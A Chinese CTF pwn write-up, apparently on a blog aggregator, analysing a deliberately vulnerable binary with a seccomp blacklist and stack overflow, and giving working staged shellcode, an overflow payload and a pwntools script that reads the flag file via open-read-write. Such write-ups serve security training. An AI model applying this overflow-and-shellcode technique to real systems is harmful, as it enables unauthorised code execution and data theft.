news 2026/8/1 16:45:29

沙盒机制屏蔽函数(利用orw读取flag)+溢出漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
沙盒机制屏蔽函数(利用orw读取flag)+溢出漏洞

shellcode-revenge 详细题解

通过网盘分享的文件:pwn(1)
链接: https://pan.baidu.com/s/1hg6Ww6LNiFWX5SIJNDl2hw?pwd=neuq 提取码: neuq

1. 基本信息

项目
文件名pwn
架构ELF64 x86_64, PIE
编译环境GCC 7.5.0 (Ubuntu 18.04)
保护机制PIE 开启,未 strip

2. 静态分析

2.1 main 函数 (0x9e8)

0x9e8 sub rsp, 0x30 ; 分配 48 字节局部变量 0x9ec mov eax, 0 0x9f1 call init_io ; setvbuf 初始化 I/O 0x9f6 mov eax, 0 0x9fb call sandbox ; 设置 seccomp 沙箱 0xa00 mov qword [rbp-8], 0 0xa08 mov r9d, 0 ; offset = 0 0xa0e mov r8d, -1 ; fd = -1 0xa14 mov ecx, 0x22 ; MAP_ANONYMOUS | MAP_PRIVATE 0xa19 mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXEC 0xa1e mov esi, 0x1000 ; size = 4096 0xa23 mov edi, 0x233000 ; addr = 固定地址 0xa28 call mmap ; → RWX 内存页 0xa2d mov [rbp-8], rax ; 保存 mmap 返回值 0xa31 lea rdi, [rip+0xe0] ; "Well.Just a little." 0xa38 call puts 0xa3d mov rax, [rbp-8] 0xa41 mov edx, 0x1a ; size = 26 0xa46 mov rsi, rax 0xa49 mov edi, 0 ; stdin 0xa4e call read ; read(0, 0x233000, 26) 0xa53 lea rdi, [rip+0xd6] ; "Let's see what u can do this time~" 0xa5a call puts 0xa5f lea rax, [rbp-0x30] ; 栈缓冲区 (仅 48 字节) 0xa63 mov edx, 0x100 ; size = 256 0xa68 mov rsi, rax 0xa6b mov edi, 0 0xa70 call read ; read(0, stack_buf, 256) ← 栈溢出 0xa75 lea rdi, [rip+0xd7] ; "See you!" 0xa7c call puts 0xa81 mov eax, 0 0xa86 leave 0xa87 ret

关键行为:

  1. 通过mmap在固定地址0x233000分配 0x1000 字节 RWX 内存
  2. 向该 RWX 区域读入26 字节shellcode
  3. 向栈上 48 字节的缓冲区读入256 字节— 缓冲区溢出
  4. main 返回时可以控制 RIP

2.2 sandbox 函数 (0x87b)

prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) ; 禁止获取新权限

随后在栈上构造 seccomp BPF 过滤器,共 13 条指令。经逐条翻译,过滤逻辑如下:

[0] LD arch → A = seccomp_data.arch [1] JEQ arch == x86_64, jt=0, jf=10 → 架构不对则跳到 KILL [2] LD syscall_number → A = 系统调用号 [3] JGE A >= 0x40000000, jt=8, jf=0 → 拦截 x32 调用 [4] JEQ A == 0x9d (157), jt=7, jf=0 → prctl → KILL [5] JEQ A == 0x38 (56), jt=6, jf=0 → clone → KILL [6] JEQ A == 0x39 (57), jt=5, jf=0 → fork → KILL [7] JEQ A == 0x3a (58), jt=4, jf=0 → vfork → KILL [8] JEQ A == 0x3b (59), jt=3, jf=0 → execve → KILL [9] JEQ A == 0x65 (101), jt=2, jf=0 → ptrace → KILL [10] JEQ A == 0x142 (322), jt=1, jf=0 → execveat → KILL [11] RET ALLOW (0x7fff0000) [12] RET KILL (0x00000000)

补充:
如何分析哪些函数被禁用了

mov [rbp+var_70], 20h ; ' ' mov [rbp+var_6E], 0 mov [rbp+var_6D], 0 mov [rbp+var_6C], 4 mov [rbp+var_68], 15h mov [rbp+var_66], 0 mov [rbp+var_65], 0Ah mov [rbp+var_64], 0C000003Eh mov [rbp+var_60], 20h ; ' ' mov [rbp+var_5E], 0 mov [rbp+var_5D], 0 mov [rbp+var_5C], 0 mov [rbp+var_58], 35h ; '5' mov [rbp+var_56], 8 mov [rbp+var_55], 0 mov [rbp+var_54], 40000000h mov [rbp+var_50], 15h mov [rbp+var_4E], 7 mov [rbp+var_4D], 0 mov [rbp+var_4C], 9Dh mov [rbp+var_48], 15h mov [rbp+var_46], 6 mov [rbp+var_45], 0 mov [rbp+var_44], 38h ; '8' mov [rbp+var_40], 15h mov [rbp+var_3E], 5 mov [rbp+var_3D], 0 mov [rbp+var_3C], 39h ; '9' mov [rbp+var_38], 15h mov [rbp+var_36], 4 mov [rbp+var_35], 0 mov [rbp+var_34], 3Ah ; ':' mov [rbp+var_30], 15h mov [rbp+var_2E], 3 mov [rbp+var_2D], 0 mov [rbp+var_2C], 3Bh ; ';' mov [rbp+var_28], 15h mov [rbp+var_26], 2 mov [rbp+var_25], 0 mov [rbp+var_24], 65h ; 'e' mov [rbp+var_20], 15h mov [rbp+var_1E], 1 mov [rbp+var_1D], 0 mov [rbp+var_1C], 142h mov [rbp+var_18], 6 mov [rbp+var_16], 0 mov [rbp+var_15], 0 mov [rbp+var_14], 7FFF0000h mov [rbp+var_10], 6 mov [rbp+var_E], 0 mov [rbp+var_D], 0 mov [rbp+var_C], 0

以上是sandbox()中关键部分,我们分析时将每四条指令分为一组,例如

0x8a7: mov word ptr [rbp-0x70], 0x20 ← code = 0x20 (LD arch) 0x8ad: mov byte ptr [rbp-0x6e], 0 ← jt = 0 0x8b1: mov byte ptr [rbp-0x6d], 0 ← jf = 0 0x8b5: mov dword ptr [rbp-0x6c], 4 ← k = 4 (offset for arch)

这四条指令构成了一个seccomp BPF结构,二每一条BPF指令结构为

偏移大小含义
+02 bytescode— 指令类型
+21 bytejt— 条件为真时跳过的指令数
+31 bytejf— 条件为假时跳过的指令数
+44 bytesk— 比较的值

常见 opcode:
0x20 = BPF_LD | BPF_W | BPF_ABS → 从 seccomp_data 加载字段
0x15 = BPF_JMP | BPF_JEQ | BPF_K → 如果 A == k 则跳转
0x35 = BPF_JMP | BPF_JGE | BPF_K → 如果 A >= k 则跳转
0x06 = BPF_RET | BPF_K → 返回结果(ALLOW 或 KILL)

我们在例子中也标注出来了,然后我们将所有seccomp BPF指令提取出来得到:

[0] LD arch → A = seccomp_data.arch [1] JEQ arch == x86_64, jt=0, jf=10 → 架构不对则跳到 KILL [2] LD syscall_number → A = 系统调用号 [3] JGE A >= 0x40000000, jt=8, jf=0 → 拦截 x32 调用 [4] JEQ A == 0x9d (157), jt=7, jf=0 → prctl → KILL [5] JEQ A == 0x38 (56), jt=6, jf=0 → clone → KILL [6] JEQ A == 0x39 (57), jt=5, jf=0 → fork → KILL [7] JEQ A == 0x3a (58), jt=4, jf=0 → vfork → KILL [8] JEQ A == 0x3b (59), jt=3, jf=0 → execve → KILL [9] JEQ A == 0x65 (101), jt=2, jf=0 → ptrace → KILL [10] JEQ A == 0x142 (322), jt=1, jf=0 → execveat → KILL [11] RET ALLOW (0x7fff0000) [12] RET KILL (0x00000000)

但他具体是怎么工作的呢,例如现在出现了execve函数,程序检测为真,往下跳了jt+1个指令(也就是四个指令),这里的指令不是汇编指令,而是seccomp BPF的指令(也就是我上边提取出来的seccomp BPF指令前面的标号),我们从8往下数4个就是kill,于是程序就拒绝执行execve函数

黑名单总结:

syscall编号十进制拦截原因
prctl0x9d157禁止修改 seccomp
clone0x3856禁止创建进程
fork0x3957禁止创建进程
vfork0x3a58禁止创建进程
execve0x3b59禁止执行新程序
ptrace0x65101禁止调试/修改
execveat0x142322禁止执行新程序

允许使用的 syscall(关键):open(2),read(0),write(1),mmap(9),mprotect(10),exit(60),getdents64(78) 等均可用。

2.3 栈布局分析

rbp-0x30 → 栈缓冲区 (48 bytes) ← 输入偏移 0x00 rbp → 保存的 RBP (8 bytes) ← 输入偏移 0x30 rbp+0x08 → 返回地址 (8 bytes) ← 输入偏移 0x38

read(0, rbp-0x30, 0x100)允许写入 256 字节,远超 48 字节缓冲区,因此可以覆盖返回地址。


3. 漏洞利用思路

总体策略

由于execve被沙箱禁用,不能获取 shell。改为ORW(Open-Read-Write)方式直接读取 flag 文件。

Stage 0 (26B) → read(0, 0x233000, 512) ← 加载更多 shellcode 栈溢出 payload → 覆盖返回地址为 0x233000 ← 跳转执行 Stage 1 (ORW) → open("flag") → read() → write(1, buf)

3.1 Stage 0 — 加载器 (26 字节)

塞入 0x233000 的前 26 字节,功能是读入更大的 Stage 1:

xor eax, eax ; 31 c0 syscall = read (0) xor edi, edi ; 31 ff fd = stdin (0) mov esi, 0x233000 ; be 00 30 23 00 buf = RWX 地址 mov edx, 0x200 ; ba 00 02 00 00 count = 512 syscall ; 0f 05 read(0, 0x233000, 512) ; 填充 NOP 对齐到 26 字节

syscall返回后,CPU 继续执行0x233010,此时该处已被 Stage 1 数据覆盖。

Stage 1 输入结构:

字节 0-15 (0x233000 - 0x23300f): NOP 填充(覆盖 Stage 0) 字节 16+ (0x233010 往后): ORW shellcode 本体

3.2 栈溢出 payload

'A' × 0x30 → 填充缓冲区 'B' × 0x08 → 覆盖保存的 RBP 0x233000 → 覆盖返回地址

3.3 Stage 1 — ORW shellcode (68 字节)

在栈上构造 “flag\0” 字符串,然后依次调用:

; === open("flag", O_RDONLY) === xor eax, eax ; 31 c0 push rax ; 50 ; null 终止符 mov rax, 0x67616c66 ; 48 b8 66 6c 61 67 00 00 00 00 ; "flag" push rax ; 50 mov rdi, rsp ; 48 89 e7 ; rdi → "flag" xor esi, esi ; 31 f6 ; O_RDONLY xor edx, edx ; 31 d2 mov eax, 2 ; b8 02 00 00 00 ; open syscall ; 0f 05 ; === read(fd, buf, 0x100) === mov edi, eax ; 89 c7 ; fd mov rsi, rsp ; 48 89 e6 ; buf = stack mov edx, 0x100 ; ba 00 01 00 00 xor eax, eax ; 31 c0 ; read syscall ; 0f 05 ; === write(1, buf, count) === mov edx, eax ; 89 c2 ; count from read mov edi, 1 ; bf 01 00 00 00 ; stdout mov rsi, rsp ; 48 89 e6 ; buf mov eax, 1 ; b8 01 00 00 00 ; write syscall ; 0f 05 ; === exit(0) === xor edi, edi ; 31 ff mov eax, 60 ; b8 3c 00 00 00 ; exit syscall ; 0f 05

完整 Hex:

31 c0 50 48 b8 66 6c 61 67 00 00 00 00 50 48 89 e7 31 f6 31 d2 b8 02 00 00 00 0f 05 89 c7 48 89 e6 ba 00 01 00 00 31 c0 0f 05 89 c2 bf 01 00 00 00 48 89 e6 b8 01 00 00 00 0f 05 31 ff b8 3c 00 00 00 0f 05

3.4 完整执行流

[程序启动] ↓ mmap(0x233000, 0x1000, RWX) ↓ puts("Well.Just a little.") ← 收到输出 ↓ read(0, 0x233000, 26) ← 发送 Stage 0 ↓ puts("Let's see what u can do this~") ← 收到输出 ↓ read(0, rbp-0x30, 256) ← 发送溢出 payload ↓ puts("See you!") ↓ leave; ret → RIP = 0x233000 ↓ Stage 0: read(0, 0x233000, 512) ← 发送 Stage 1 (ORW) ↓ Stage 1: open("flag") → read() → write(1, flag) ↓ [输出 flag 内容]

4. 完整攻击代码

详细见同目录下的exploit.py。核心结构:

frompwnimport*context(os="linux",arch="amd64")BASE_ADDR=0x233000# === Stage 0: 26 字节加载器 ===stage0=b'\x31\xc0'# xor eax, eaxstage0+=b'\x31\xff'# xor edi, edistage0+=b'\xbe'+p32(BASE_ADDR)# mov esi, BASE_ADDRstage0+=b'\xba\x00\x02\x00\x00'# mov edx, 0x200stage0+=b'\x0f\x05'# syscallstage0+=b'\x90'*(26-len(stage0))# 填充到 26 字节# === 栈溢出 payload ===overflow=b'a'*0x30+b'b'*0x08+p64(BASE_ADDR)# === ORW shellcode ===orw=bytes.fromhex("31c05048b8666c616700000000504889e731f631d2""b8020000000f0589c74889e6ba0001000031c00f05""89c2bf010000004889e6b8010000000f0531ffb83c""0000000f05")stage1=b'\x90'*16+orw# === 攻击流程 ===io=process('./pwn')io.recvuntil(b"Well.Just a little.\n")io.send(stage0)io.recvuntil(b"Let's see what u can do this time~\n")io.send(overflow)io.recvuntil(b"See you!\n")sleep(0.5)io.send(stage1)flag=io.recvall()print(f"[+] Flag:{flag}")

远程攻击

io=remote("host",port)# 后续流程同上

本地运行

python3 exploit.py# 或python3 exploit.py ./pwn
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/1 16:42:36

C++ STL map与multimap深度解析:从键值对到一对多关联容器的实战指南

1. 从“键值对”到“一对多”:为什么我们需要 map 和 multimap?在C的日常开发里,尤其是处理需要快速查找和关联数据的场景,std::map和std::multimap绝对是绕不开的两个容器。很多刚接触STL的朋友,一看名字就觉得它们差…

作者头像 李华
网站建设 2026/8/1 16:38:57

语音合成技术实践:从TTS原理到API部署与性能优化

这次我们来看一个涉及语音合成技术的项目,重点不是分析内容本身,而是关注背后的技术实现方式。这类语音合成工具通常具备将文本转换为逼真语音的能力,适合用于内容创作、语音助手开发等场景。 从技术角度来看,这类语音合成项目通…

作者头像 李华
网站建设 2026/8/1 16:37:32

LVDT位移传感器:原理、优势与应用全解析

1. 项目概述:从“黑盒子”到“透明”的位移测量 在工业自动化、精密测量和科研实验领域,位移测量是一个基础且关键的环节。你可能见过很多设备上装着一些圆柱形或方形的“小盒子”,它们默默无闻地工作着,将机械部件的微小移动转化…

作者头像 李华
网站建设 2026/8/1 16:35:13

10个CSS3动画库Magic使用技巧:让你的网页瞬间动起来

10个CSS3动画库Magic使用技巧:让你的网页瞬间动起来 【免费下载链接】magic CSS3 Animations with special effects 项目地址: https://gitcode.com/gh_mirrors/ma/magic Magic动画库是一个专为前端开发者设计的CSS3动画特效集合,通过纯CSS实现无…

作者头像 李华
网站建设 2026/8/1 16:34:54

终极指南:如何用nRF Connect桌面版快速搭建Nordic设备开发环境

终极指南:如何用nRF Connect桌面版快速搭建Nordic设备开发环境 【免费下载链接】pc-nrfconnect-launcher nRF Connect for Desktop application and framework 项目地址: https://gitcode.com/gh_mirrors/pc/pc-nrfconnect-launcher 如果你正在开发基于Nordi…

作者头像 李华